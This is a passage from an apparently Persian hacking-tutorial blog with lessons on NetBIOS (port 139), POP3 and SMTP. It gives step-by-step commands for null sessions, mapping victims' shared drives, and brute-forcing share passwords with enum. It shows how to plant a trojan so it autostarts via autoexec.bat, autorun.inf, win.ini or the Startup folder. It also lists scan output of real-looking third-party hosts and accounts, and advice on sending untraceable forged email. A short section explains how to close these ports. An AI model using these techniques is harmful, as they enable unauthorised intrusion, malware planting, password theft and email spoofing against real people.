الف) مواجه با پيغام Host not found بشم. اين يعني اينکه نمي‌تونه ليست منابع را از اون کامپيوتر بگيره (يعني NetBIOS غير فعاله). يعني اگرچه پورت ۱۳۹ بازه ولي قابل استفاده نيست.
ب) ارتباط برقرار بشه و ليست منابع اشتراکي ليست بشه:
           NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered

MAC Address = 00-53-45-00-00-00

۳- در اين نتايج چيزي که به درد مي‌خوره، سطري است که <20> دارد. اگه <20> نباشد، يعني نمي‌تونين از اشتراک گذاري فايل استفاده کنيد ( به عبارت ساده تر بي‌خيال شو اين کامپيوتر رو ! ). در اين مثال ما اين سطر را داشتيم پس ادامه مي‌دهيم. حالا مي‌نويسم:
net view \\217.218.84.29
حالا اگه گفتين چي ميشه؟ درسته! دو حالت ممکنه اتفاق بيوفته:
الف) پيغام بياد
System error 5 has occurred.

Access is denied.
اين يعني نمي‌تونين ادامه بدين. به عبارت ديگه ايست! ولي يه کاري مي‌تونيد بکنيد و اون اينه که يه null session برقرار کنيد با اون کامپيوتر. اين حالت در مورد ويندوز‌هاي سري NT جواب ميده. مي‌نويسيد:
net use \\217.218.84.29\IPC$ "" /user:""
حالا چرا مي‌گن null session ؟ دليلش اينه که يک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه اين دستور جواب داد مي‌تونم دوباره دستور net view \\217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:
Shared resources at \\217.218.84.29

Share name Type Used as Comment

------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
عاليه. دقت کنيد که در اين کامپيوتر يک فايل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تاي باقي براي پرينتر است). حالا که رسيدم به اين اسم ديگه آخرين دستور را مي‌نويسم.

۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بديم. براي اينکار بايد يک درايو انتخاب کنيد. حتما مي‌دونيد که درايو چيه. وقتي شما My Computer را دابل کليک کرده و باز مي‌کنيد، يک سري آيکون مي‌بينيد که هر کدام اسمي‌ دارند. مثلا :A براي فلاپي و و و تا مي‌رسيد به cdrom که آخرين حرف را دارد. مثلا فرض کنيد که :K باشه. حالا بايد اسم درايو رو براي اشتراک گذاشتن انتخاب کنيد. براي اين‌کار حرف بعدي در زبان انگليسي رو به کار ببريد. چون در کامپيوتر من :K آخرين بود، من حرف بعدي يعني :L را انتخاب مي‌کنم و دستور زير را مي‌نويسم:
net use L: \\217.218.84.29\SharedDocs
به اسم درايو، ip و نام مربوطه که ShareDocs دقت کنيد. چون من اصطلاحا به صورت null session دارم ارتباط مي‌گيرم، ممکنه کار نکنه ولي اگه درست کار کنه جواب مي‌شنوم:
The command completed successfully.
معرکه است!!! حالا My Computer رو باز کنيد و ببينيد که درايو جديد به ليست درايوها اضافه شده که مي‌تونين مثل درايوهاي معمولي با اون کار کنيد و فايل کپي کنيد و ...

۵- وقتي کار تموم شد مي‌تونيد درايو رو حذف کنيد. براي اينکار مي‌تونين روي درايو رايت‌کليک کنيد و Disconnect را انتخاب کنيد. و يا اينکه از دستور
net use /delete L:
استفاده کنيد.


- نکته نکته نکته

۱- يه روش جالب به جاي مرحله ۴ در بالا اينه که مثلا در مرورگر يا در run بنويسيد 217.218.84.29\\ که ip داراي اشتراک است و يا اينکه تايپ کنيد SharedDocsت\217.218.84.29\\ که اصولا بايد جواب بده ( ولي من خودم تست نکردم اينو ).
۲- من دارم به صورت استاندارد کار مي‌کنم. بعدا خواهم گفت که چطوري مي‌تونيم وقتي تو بعضي از مراحل متوقف مي‌شيم، اونو دور بزنيم.
۳- NetBIOS فقط براي کلاينت‌ها نيست. من خودم يکبار سايت دانشگاه رو با اون هک کردم. البته با exploit کردن که بعدا خواهم گفت.
۴- اگه داريد يک کلاينت رو هک مي‌کنيد، بايد سريع عمل کنيد تا قبل از اينکه طرف disconnect کنه کار شما تموم شده باشه.
۵- روش‌هاي ديگري هم براي کار با NetBIOS هست که يکي از اون روش‌ها استفاده از يک سري نرم‌افزارهاي خاص است که تو درس بعدي توضيح مي‌دم و نيز يک روش ديگه اعمال تغييرات در فايل‌هاي HOST و LMHOST و استفاده از find در سيستم‌عامل ويندوز است. ولي چون اين روش دنگ و فنگش زياده، جالب نيست.
۶- براي اينکه بتونيم با NetBIOS کار کنيم، علاوه بر اينکه در کامپيوتر طرف مقابل بايد فعال باشه، روي کامپيوتر خودمون هم فعال باشه. چون در حالت پيش‌فرض در کامپيوتر فعال است، معمولا مشکلي نيست.


- چگونه NetBIOS را روي کامپيوتر خودمان فعال يا غير فعال کنيم؟

براي غيرفعال کردن NetBIOS در ويندوز با توجه به نوع آن ويندوز روش‌هاي مختلفي هست. جدول پاييني براي همين موضوع طراحي شده است:

Win 2000 Win XP Home Win XP Professional
Start > Programs > Administrative Tools > Local Security Settings > Local Policies > Security Options > Additional restrictions of anonymous connections > Local policy setting > "No access without explicit anonymous permissions" > Ok   Start > Programs > Administrative Tools > Local Security Settings > Local Policies >
1) Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled
2) Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled
Start > Run > regedit > HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > LSA > RestrictAnonymous=2
مي‌تونيد به کمک فايروال يا روتر پورت‌هاي زير را ببنديد:
135         TCP             DCE/RPC Portmapper
137 TCP/UDP NetBIOS Name Service
138 TCP/UDP NetBIOS Datagram Service
139 TCP NetBIOS Session Service
445 TCP Microsoft-DS (Windows 2000 CIFS/SMB)

۱- وقتي پورت ۱۳۹ رو مي‌بنديد، ديگه نمي‌تونيد از NetBIOS استفاده کنيد ( مگر اينکه دوباره پورت رو به صورت فعال در‌ آوريد). پس وقتي که کسي رو مي‌خواهيد هک کنيد، نياز داريد که براي مدت کوتاهي دوباره پورت رو فعال کنيد.

۲- مي‌بينيد که مثلا براي ويندوز ۲۰۰۰ به سه روش کار کنيد، در اين جدول فقط کافي است يکي رو اعمال کنيد.

۳- اگه بعد از غير فعال کردن، دوباره بخواهيد فعال کنيد، در مرحله آخر هر يک از روش‌هاي بالا، گزينه‌اي که مخالف گزينه ذکر شده در جدول است رو انتخاب کنيد، مثلا اگه در جدول Enabled را نوشته‌ايم، شما Disable را انتخاب کنيد.


- چگونه از اين امکانات به اشتراک گذاشتن، براي اجراي يک تروجان روي کامپيوتر قرباني استفاده کنيم؟

خوب ما هنوز طريقه استفاده از تروجان رو ياد نگرفتيم ولي سعي مي‌کنم تو يکي از درس‌هاي آينده اونو توضيح بدم. ما اينجا مي‌خواهيم از تروجان در رابطه با پورت ۱۳۹ استفاده کنيم. حالا سوال اين است که تروجان (trojan) چيست؟
تروجان به‌طور ساده برنامه‌اي اجرايي است، که ما براي طرف مقابل مي‌فرستيم و اگه طرف مقابل اونو اجرا کنه، ما مي‌تونيم کنترل سيستم‌ اونو به دست بياريم. تا اينجا کافي است فعلا ولي بعدا بيشتر توضيح مي‌دم.
حالا همان بحث تروجان ولي در رابطه با پورت ۱۳۹ :
روش کار به اين صورت است که فرضا من الان تونستم يک درايو رو از يک کامپيوتر با پورت باز Share کنم. حالا فايل تروجان ( سرور تروجان ) را upload مي‌کنم به اون کامپيوتر و اسمي براش انتخاب مي‌کنم که طرف مقابل رو به اجراي فايل تشويق کنه. يک اشتباهي که بعضي‌ها مي‌کنند اينه که بعد از کپي کردن تروجان در کامپيوتر هدف، خود هکر مي‌آد و فايل رو دابل کليک مي‌کنه، در اين حالت تروجان روي کامپيوتر خودمون (هکر) اجرا مي‌شه نه کامپيوتر قرباني. پس ما فقط فايل رو مي‌فرستيم و منتظر مي‌مونيم که طرف مقابل اجرا کنه.

حالا چند روش رو مطرح مي‌کنم که در شرايط خاص حالتي رو ايجاد مي‌کنه که نيازي با دابل‌کليک توسط قرباني نباشد:
۱- اگه به درايو C کامپيوتر مقابل دسترسي داريد، يک سطر به فايل autoexec.bat اضافه کنيد که نام و مسير فايل اجرايي را در اون سطر بنويسيد. مثلا اگه اسم تروجان ali.exe باشد و در مسير d:\newfolder باشد، سطري که اضافه مي‌کنيم به صورت زير است:
d:\newfolder\ali.exe
در اين حالت به محض اولين restart کامپيوتر، تروجان اجرا خواهد شد.
۲- اگه به درايو C دسترسي داريد، مي‌تونيد فايلي به اسم Autorun.inf ايجاد کنيد و دستورات زير را بنويسيد ( سطر آخر مطابق با همان تروجان فرضي که در مثال قبل گفتيم، نوشته شده است، اونو با توجه به اسم تروجان و مسير اون تغيير دهيد) :
[autorun]
open=d:\newfolder\ali.exe
۳- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد يک سطر مثل همان مثال قبل ولي براي فايل winstart.bat اجرا کنيد. در اين حالت هم به محض restart اجرا خواهد شد.
۴- اگه به فولدر ويندوز دسترسي داريد، در فايل win.ini و بعد از قسمتي که [windows] نوشته، اين سطر رو اضافه کنيد:
run=d:\newfolder\ali.exe
۵- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد تروجان رو به فولدر Start Menu\Startup اضافه کنيد. در اين حالت نيازي به ويرايش هيچ فايل ديگري نيست.


- ابزارهاي کمکي: ۱- ابزارهاي خط فرماني


۱- enum :
اين برنامه را از اينجا داون‌لود کنيد. enum نرم‌افزاري با قابليت‌هاي فوق‌العاده است. از جمله توانايي‌هايي که دارد، در مواردي است که کامپيوتر طرف مقابل براي اعمال sharing از ما پسورد بخواد. در اين موارد مي‌تونيم به کمک enum و ليستي از پسوردهايي که در يک فايل ذخيره شده، تعداد زيادي پسورد رو چک کنيم ( اصطلاحا cracking ) و شايد به نتيجه برسيم. ( اين موضوع را بعدا بيشتر توضيح مب‌دم) کاربردي که الان مد نظر ماست، پيدا کردن ليست share هايي است که کامپيوتر مقابل براي ما باز گذاشته است. مثلا من دستور زير را تايپ کردم، تا ليست اشتراک‌هاي آن ip خاص در آن لحظه رو بدست بيارم:
enum -S 217.218.84.29
و جواب شنيدم:
server: 217.218.84.29
setting up session... success.
enumerating shares (pass 1)... got 10 shares, 0 left:
E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer
cleaning up... success.
ملاحظه مي‌فرماييد که درايو‌هاي E و D و F و C و نيز SharedDocs و ... ليست شده است. بقيه مراحل مثل درس ۲۱ است. (دقت کنيد که در اين حالت نيازي به null session نيست ).

۲- nbtscan :
اين برنامه را از اينجا داون‌لود کنيد. اين برنامه دقيقا معادل nbtstat است ولي با اين تفاوت که مي‌تونه تعداد زيادي ip رو همزمان تست کنه و ليست share ها رو بدست بياره. اين دقيقا راه‌حلي است براي سوالي که خيلي از شما دوستان پرسيده بودين. مثلا اگه بنويسم:
nbtscan -v -s : 195.219.49.0-30
که ليست اشتراک‌ها رو از ip شماره 195.219.49.0 تا 195.219.49.30 بدست مياره. جواب مي‌شنوم:
195.219.49.1    Recvfrom failed: Connection reset by peer
195.219.49.5 Recvfrom failed: Connection reset by peer
195.219.49.6 Recvfrom failed: Connection reset by peer
195.219.49.7 Recvfrom failed: Connection reset by peer
195.219.49.8 Recvfrom failed: Connection reset by peer
195.219.49.12 Recvfrom failed: Connection reset by peer
195.219.49.23:MRS.ZADE :00U
195.219.49.23:ATINET_MRA :00G
195.219.49.23:MRS.ZADE :03U
195.219.49.23:MAC:44-45-53-54-00-00
195.219.49.28:MAC:44-45-53-54-00-00
195.219.49.26:KIYARASH-R96L0K:00U
195.219.49.26:KIYARASH-R96L0K:20U
195.219.49.26:WORKGROUP :00G
195.219.49.26:WORKGROUP :1eG
195.219.49.26:MAC:00-53-45-00-00-00
195.219.49.22:FARHANG-ZCT780D:00U
195.219.49.22:FARHANG-ZCT780D:20U
195.219.49.22:WORKGROUP :00G
195.219.49.22:WORKGROUP :1eG
195.219.49.22:MAC:00-53-45-00-00-00
195.219.49.29:TESSA :00U
195.219.49.29:WORKGROUP :00G
195.219.49.29:TESSA :03U
195.219.49.29:MAC:44-45-53-54-00-00
195.219.49.25:MAC:44-45-53-54-00-00
در مورد ip هايي که 20U را مي‌بينيد، يعني sharing رو ميشه استفاده کرد.

۳- winfo :
اينم از جمله برنامه‌هايي است که بايد بگم آخر برنامه است!! از اينجا داون‌لود کنيد. البته توانايي تست تعداد زيادي ip رو نداره ولي وقتي يه ip رو تست مي‌کنه همه‌چي شو در رو مي‌کنه. (البته ميشه گفت همه اين کارها رو مي‌شه با enum هم انجام داد ). مثلا من دستور زير را تايپ کردم :
winfo 195.219.49.184 -n -v
و به نتايج زير رسيدم:
Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
- http://www.ntsecurity.nu/toolbox/winfo/

Trying to establish null session...

Null session established.


SYSTEM INFORMATION:

- OS version: 4.0

DOMAIN INFORMATION:

- Primary domain (legacy): DSG
- Account domain: TEHRAN

Warning: Unable to retrieve domain DNS information.
Reason : Not supported by the remote OS.


PASSWORD POLICY:

- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters

LOCOUT POLICY:

- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0

SESSIONS:

- Computer: ARTAWILL-V0P1QR
- User:

LOGGED IN USERS:

* Administrator

USER ACCOUNTS:

* Administrator

- Password age: 666 days
- Privilege level: Administrator
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for administering the computer/domain
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
- Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No

(This account is the built-in administrator account)

* Guest

- Password age: 680 days
- Privilege level: Guest
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for guest access to the computer/domain
- Account is: Disabled
- User can change password: No
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No

(This account is the built-in guest account)

* TEST

- Password age: 680 days
- Privilege level: User
- Home directory:
- Home directory mapped as:
- Comment:
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: No
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: Yes

WORKSTATION TRUST ACCOUNTS:

INTERDOMAIN TRUST ACCOUNTS:

SERVER TRUST ACCOUNTS:

SHARES:

* ADMIN$

- Type: Special share reserved for IPC or administrative share
- Remark: Remote Admin

* IPC$

- Type: Unknown
- Remark: Remote IPC

* C$

- Type: Special share reserved for IPC or administrative share
- Remark: Default share
بعدا سعي خواهم کرد که در مورد تک تک اينها بحث کنم براتون. ولي به عنوان مثال در آخرها مي‌تونين، share ها رو ببينيد.

۴- NAT :
اين برنامه را از اينجا داون‌لود کنيد. يکي از مهم‌ترين کاربرد‌هاي اون crack کردن پسورد sharing است ( مثل enum ). براي کار با NAT کافي است، بنويسيد nat و بعد يک فاصله و بعد ip را مي‌نويسيم. حتما تست کنيد و نتيجه رو ببينيد... ( تکليف براي خودتون )

۵- و ...


- ابزارهاي کمکي: ۲- ابزارهاي گرافيکي

۱- netbrute :
اين برنامه را از اينجا داون‌لود کنيد. من از بين ابزارهاي گرافيکي اينو توصيه مي‌کنم اگرچه به اندازه دو نرم‌افزار بعدي مشهور نيست. من نمي‌خوام روش کار با اينو توضيح بدم چون خيلي تابلو‌ ه! ضمنا اين نرم‌افزار داخل خودش يک پورت اسکنر هم داره که خيلي به درد مي‌خوره. حتما حتما حتما داون‌لود کنيد اينو و اونقدر انگولکش کنيد که سر در بيارين ازش. قرار نيست که همي‌چي رو من بهتون بگم !!

۲- Legion :
اگه بگم مشهورترين نرم‌افزار اسکن کردن پورت‌ ۱۳۹ اين نرم‌افزاره، سخن گزافي نيست!! خيلي‌ها کشته مرده اون هستن ولي من زياد ازش خوشم نمي‌آد. اما بايد قبول کرد که کارش واقعا عاليه!!! به هر حال اگه خواستين داول‌لود کنيد، اينجا رو کليک کنيد.

۳- DumpSec يا DumpACL :
اين هم خيلي معروفه. اگه خواستين مي‌تونين از اينجا داون‌لود کنيد.


- آيا چيز ديگه‌اي راجع به اين پورت مونده که بحث نشده باشد؟

بله!
۱- يه نرم‌افزاري هست به اسم pqwak که اين‌طوري که مي‌گن، اگه کامپيوتر مقابل ويندوز ۹۸ باشه، مي‌تونه پسورد اونو سه سوت در بياره. ( اين برنامه از نقطه ضعف ويندوز ۹۸ راجع به netbios استفاده مي‌کنه و اونو exploit مي‌کنه) چون من درسم راجع به هک کردن سرورهاست و نه کلاينت، پس نبايد زياد به درد ما بخوره ( توجه کنيد که ويندوز ۹۸ تو کار کلاينت‌اش هم مونده، چه برسه به اينکه سرور باشه! ). خودتون بگردين و اونو اگه مي‌خواين پيدا کنيد.
۲- ما بحث استفاده از نقاط ضعف پورت‌ها رو هنوز شروع نکرده‌ايم و در مورد پورت ۱۳۹ هم همينطوره. به عنوان مثال روش‌هايي هست که پورت ۱۳۹ رو exploit کنيم و اون مراحلي که توش گير مي‌کرديم رو دور بزنيم.


- نکاتي راجع به enum

خوب قبلا گفتم که enum نرم‌افزار بسيار مهمي در ارتباط با پورت ۱۳۹ است. حالا مي‌خوام دو کاربرد خاص از اونو براتون توضيح بدم:

۱- گرفتن password policy information :
در ويندوزهاي NT مي‌شود يک سري پارامتر رو براي پسوردها ست کرد. مثلا اينکه حداقل طول پسورد و حداکثر اون چقدر باشه و ... براي اينکه اين policy رو بدست بياريد، از سويچ P استفاده مي‌کنيم. مثلا مي‌نويسيم:
enum -P xxx.xxx.xxx.xxx
و جواب مي‌شنوم:
server: xxx.xxx.xxx.xxx
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.
خودتون که دارين مي‌بينين!

۲- استفاده از روش cracking براي پيدا کردن پسورد:
اگه با NetBIOS کار کرده باشيد، حتما ديديد که بعضي وقت‌ها (خصوصا در مورد سرورها) پسورد از ما سوال ميشه. (پسورد وقتي پرسيده ميشه که بخواهيم، مرحله ۴ رو از بالا انجام بديم). وقتي پسورد نداشته باشيد، کاري نمي‌تونيد بکنيد. پس ما کاري که مي‌کنيم، اينه که يک سري پسورد را توسط enum تست مي‌کنيم که يکي جواب بده - يا اينکه نده !
اصولا تست کردن تعداد زيادي پسورد براي پيدا کردن پسورد درست رو crack کردن پسورد به روش brute force يا bf مي‌گن ( اين bf رو با اون bf اشتباه نگيريد!! ). البته استفاده از روش bf مختص NetBIOS نيست و خيلي جاها استفاده ميشه. اينم بگم که استفاده از روش bf يه کمي کلاس کار شما رو به عنوان هکر پايين مياره...
حالا چيري مي‌خوايم، يک فايل بزرگ از پسوردهايي است که معمولا مردم استفاده مي‌کنن. براي پيدا کردن اين فايل‌ها که اصطلاحا dictionary file ناميده مي‌شوند به صورت زير است:
الف) استفاده از ديکشنري‌هاي آماده مثل The Argon که مشهورترين ديکشنري کرکينگ مي‌باشد با حجمي حدود ۲۴ مگابايت!
ب) بعضي وقت‌ها خودمون مي‌خواهيم يه ديکشنري بسازيم، در اين موارد کاري که مي‌کنيم اينه که از نرم‌افزارهاي سازنده ديکشنري استفاده مي‌کنيم. مثلا وقتي که شما مي‌دونيد که فلاني از پسوردهاي ۸ حرفي استفاده مي‌کنه و ... براي اين‌کار نرم‌افزارهاي زيادي هست که چند نمونه مهمش عبارتند از: DCM 2.0 و DICTIONARY MAKER و PASSLIST.TXT GENERATOR و ...

حالا که يه فايل ديکشنري دارم مي‌تونم کار کرک پسورد NetBIOS رو شروع کنم. فرض کنيد که وقتي مي‌خوام Ali رو در يک ip به شماره xxx.xxx.xxx.xxx رو با يک فايل ديکشنري به اسم theargon.lst کرک کنيم. دستوري که براي اين‌کار استفاده مي‌کنيم، اينه:
enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx
حالا enum مياد و تمام پسوردها رو تست مي‌کنه تا ايشالله به جواب برسه!
اينقدر که از enum تعريف کردم ديگه بسه! مشکلي که enum راجع به کرک پسورد داره اينه که خيلي کند کار ميکنه. ممکنه ساعت‌ها وقت لازم باشه. راه‌حل چيه؟


- راه حل براي سرعت بخشيدن کرک کردن پسورد NetBIOS

راه‌حل اينه که اصلا از enum استفاده نکنيد. براي کرک پسورد NetBIOS سعي کنيد از نرم‌افزار SMB Auditing Tool استفاده کنيد. در عرض چند دقيقه کار تموم ميشه! دليلش هم اينه که اين نرم‌افزار از يک bug استفاده مي‌کنه که اجازه ميده تعداد زيادي پسورد رو در يک لحظه تست کنيد. اينم بگم که اين نرم‌افزار مخصوص سيستم‌عامل لينوکس و يونيکسه. (من اين فايل رو چند وقت پيش داون‌لود کردم. امروز که تست کردم لينک جواب نداد. اگه چند روز آينده هم جواب نده، فايل خودم رو upload مي‌کنم که از far30.com بگيريدش)


 
comment نظرات ()
 
 
قسمت بیست و یکم(پورت ۱۱۰)
نویسنده : Hossein - ساعت ٩:٥٢ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- پورت ۱۱۰ چيست؟

پورت ۱۱۰ براي پروتکل POP3 استفاده مي‌شود. عبارت POP3 مخفف Post Office Protocol Version 3 است که اين پروتکل براي خواندن E-mail استفاده مي‌شود. براي کار با اين پروتکل بايد آدرس POP Server مربوط به E-mail خود را بدانيد. براي اين‌کار مي‌توان از nslookup استفاده کرد و سطري که عبارت MX دارد را خواند (قبلا چگونگي کار را گفتم و الان ديگه توضيح نمي‌دم). دقت کنيد که در مورد سايت‌هاي کوچک، آدرس POP Server همان آدرس SMTP Server است ولي در سايت‌هاي بزرگ (مثل ياهو‌ ) سرور‌هاي مربوطه جداست ( يعني دو اسم مختلف دارد ). در مورد سايت ياهو POP Server در آدرس pop.mail.yahoo.com قرار دارد. ( من جديدا اين سرور رو تست نکردم، خودتون تست کنيد و مطمئن بشيد ). من امروز مي‌خوام از E-mail هاي سايت noavar.com استفاده کنم که هم خيلي عاليه و هم ايرانيه! POP Server اين سايت در آدرس mail.noavar.com قرار دارد.


- با پورت ۱۱۰ صحبت کنيم

فرض کنيد که من در سرور mail.noavar.com يک اکانت به اسم araztest و پسورد mypass دارم. (شما هم اگه مي‌خواهيد تست کنيد، يک اکانت براي خودتون در اين سايت باز کنيد). حالا مي‌خوام با پورت ۱۱۰ صحبت کنم، بنابراين از يکي از دو دستور زير استفاده مي‌کنم:
telnet mail.noavar.com 110
nc -v mail.noavar.com 110
و جواب مي‌شنوم:
+OK POP3 server www.noavar.com ready
دقت کنيد که اگه از تلنت استفاده کنيد،چيزهايي که شما تايپ مي‌کنيد، ديده نمي‌شود و نمي‌تونيد از دکمه ‌Backspace‌ استفاده کنيد. حالا مي‌خوام بگم که اسم اکانت من araztest است، پس مي‌نويسم:
user araztest
و جواب مي‌شنوم:
+OK Please enter password for araztest
حالا مي‌خوام پسوردم رو بگم که اجازه صادر بشه! مي‌نويسم:
pass mypass
و جواب مي‌شنوم:
+OK password for user araztest Accepted
حالا مي‌خوام بدونم که جمعا چندتا mail رسيده است و حجم کل چقدر است. مي‌نويسم:
stat
و جواب مي‌شنوم:
+OK 2 25924
يعني براي من ۲ تا پيغام رسيده و حجم کل پيام‌هاي رسيده، ۲۵۹۲۴ بايت است. حالا مي‌خوام ليست پيام‌ها رو داشته باشم، مي‌نويسم:
list
و جواب مي‌شنوم:
+OK
1 70
2 24923
.
اين يعني پيغام شماره يک (پيغام جديدتر) حجم ۷۰ بايت دارد و پيغام شماره دو حجم ۲۴۹۲۳ بايت دارد. حالا مي‌خوام پيغام شماره ۱ را بخونم. مي‌نويسم:
retr 1
و جواب مي‌شنوم:
+OK 70 octets
Message-ID: <875808060@www.noavar.com>
From: "ali"
X-Mailer: Noavar
To: araztest@noavar.com
MIME-Version: 1.0
Subject: salam
Date: Thu, 13 Feb 2003 20:05:56

salam, chetori?
.
حالا مي‌خواهم اين پيغام ( شماره يک ) رو پاک کنم، مي‌نويسم:
dele 1
و جواب مي‌شنوم:
+OK Message 1 Marked for removal
[ دقت کنيد که اين پيغام هنوز پاک نشده است و فقط علامت خورده که موقع خروج، پاک بشه. حالا ممکنه چندتا پيغام را مارک کنيد که حذف بشه ولي بعد بي‌خيال! مي‌شين. براي اينکه اين علامت‌ها را حذف کنيد که موقع خروج ديگه پاک نشوند، مي‌تونيد بنويسيد:
rset
و جواب مي‌شنوم:
+OK 1 70
]
حالا اگه بخواهم خارج بشم (و علامت‌خورده‌ها پاک بشن)، مي‌‌نويسم:
quit
و جواب مي‌شنوم:
+OK www.noavar.com signing off

 
comment نظرات ()
 
 
قسمت بیست ام(پورت ۲۵)
نویسنده : Hossein - ساعت ٩:٥٠ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 

- خلاصه پروتکل‌های مرتبط با E-mail

۱- SMTP :
روي پورت ۲۵ اجرا مي‌شد. از اين پروتکل براي ارسال E-mail استفاده می‌شود. اين پروتکل امروزه ديگه براي خوندن E-mail استفاده نمي‌شه. اين پروتکل بحث امروز ماست.

۲- POP3 :
اين پروتکل را روي پورت ۱۱۰ بحث مي‌کنيم و از آن براي خواندن E-mail هاي رسيده استفاده مي‌کنيم.

۳- IMAP :
اين پروتکل به عنوان جايگزيني براي پروتکل POP3 به‌کار ميره. از نظر ساختاري کمي با پروتکل POP3 متفاوت است ولي کارش همان است و براي خواندن E-mail هاي رسيده به کار مي‌رود.

+ Web-based Email: يک روش ديگه براي دسترسي به E-mail وجود دارد و آن استفاده از امکانات وب براي خواندن و فرستادن E-mail است. وقتي شما از خود سايت yahoo يا hotmail براي کار با E-mail استفاده مي‌کنيد، در واقع همين روش را به کار مي‌بريد. نکته قابل توجه آن است که اين روش کند‌تر از استفاده مستقيم از پروتکل‌هاست.


- پورت ۲۵ چيست؟

پورت ۲۵ براي ارسال E-mail به‌کار مي‌رود. اين پورت از پروتکل SMTP برای اين کار استفاده مي‌کند. نکته مهم آن است که اين پروتکل توانايي خواندن E-mail را ندارد و فقط مي‌تواند E-mail بفرستد.
حالا سوالي که پيش مي‌آيد که چه برنامه‌هايي روی سرور پورت ۲۵ را باز مي‌کند؟
همان‌طور که گفتم، SMTP فقط يک پروتکل است (نه يک برنامه) و از نظر لغوی مخفف عبارت Simple Mail Transfer Protocol است. برنامه‌ای که پورت ۲۵ را باز مي‌کند تا بتوان از طريق آن E-mail ارسال کنيم، SMTP Server مي‌گويند. SMTP Server يک عبارت کلي است، برای اين نوع برنامه‌ها. حالا خود SMTP Server انواع مختلف دارد که مشهورترين‌هايشان، SMail، SendMail، ESMTP MAIL Service و ... هستند. نکته مهم اين است که تفاوت زيادی نيست که سرور مورد نظر ما از کداميک از اين نرم‌افزارها استفاده مي‌کند، زيرا اصول کار با آنها يکي است.
برای صحبت کردن با پورت ۲۵ اول بايد يک Server پيدا کنيم که پورت ۲۵ در آن باز باشد (اگرچه در اکثر سرورها پورت ۲۵ باز است). بعد بايد طبق معمول از telnet يا nc براي ارتباط استفاده کنيم.
پورت ۲۵ از ديدگاه يک هکر چه کاربردی دارد؟
يک هکر از پورت ۲۵ برای ارسال Fake Mail (ميل ناشناس، ميل تقلبي) استفاده مي‌کند. دليل آن است که درصد بسيار بالايي از SMTP Server ها اهميتي نمي‌دهند که شما کي هستيد و به کي می‌خواهيد ميل بزنيد، بلکه فقط کار خود را مي‌کنند.


- چگونه يک SMTP سرور پيدا کنيم

پيدا کردن SMTP سرور کار سختي نيست. اگرچه از اکثر SMTP Server ها مي‌توان به هر کسي E-mail زد ولي من هميشه توصيه مي‌کنم از SMTP Server ی استفاده کنيد که مربوط به به Mail Box قرباني است. برای مثال فرض کنيد که مي‌خواهيد به کسي fake mail بزنيد و اون شخص mail box اش در ياهو است. در اين حالت من ترجيح مي‌دم که از SMTP Server های سرور ياهو استفاده کنم ( اگرچه از هر سرور ديگری برای اين کار مي‌تونم استفاده کنم ).
اگرچه ما عبارت fake mail (ناشناس) برای اين نوع E-mail ها استفاده مي‌کنيم ولي بايد توجه کنيد که در مواردی خاص مي‌شود شما را رديابي کرد. به عنوان مثال ip شما از مواردی است که همراه با E-mail ارسال مي‌شود. پس در انتخاب SMTP Server بايد دقت کرد (بعضي SMTP Server ها هستند که حتي ip شما را ارسال نمي‌کنند و اين يعني نهايت ناشناسي).
نکته بعدی اين است که بعضي SMTP Server ها يه کم باهوش عمل مي‌کنند به طوری که در نهايت E-mail ارسالي حداقل برای اشخاص حرفه‌ای ماهيتش (fake بودن) قابل تشخيص خواهد بود (يعني مي‌فهمند که اين يک fake mail است نه يه E-mail واقعي). پس اين هم در انتخاب SMTP Server مهم است که بايد از SMTP Server هايي استفاده کنيم که در نهايت حماقت باشند!
بازم يه نکته ديگه، SMTP Server در نهايت روی يک سرور قرار دارد پس در نهايت آدرس آن چيزی مثل mail.far30.com، mx01.hotmail.com و ... خواهد بود.
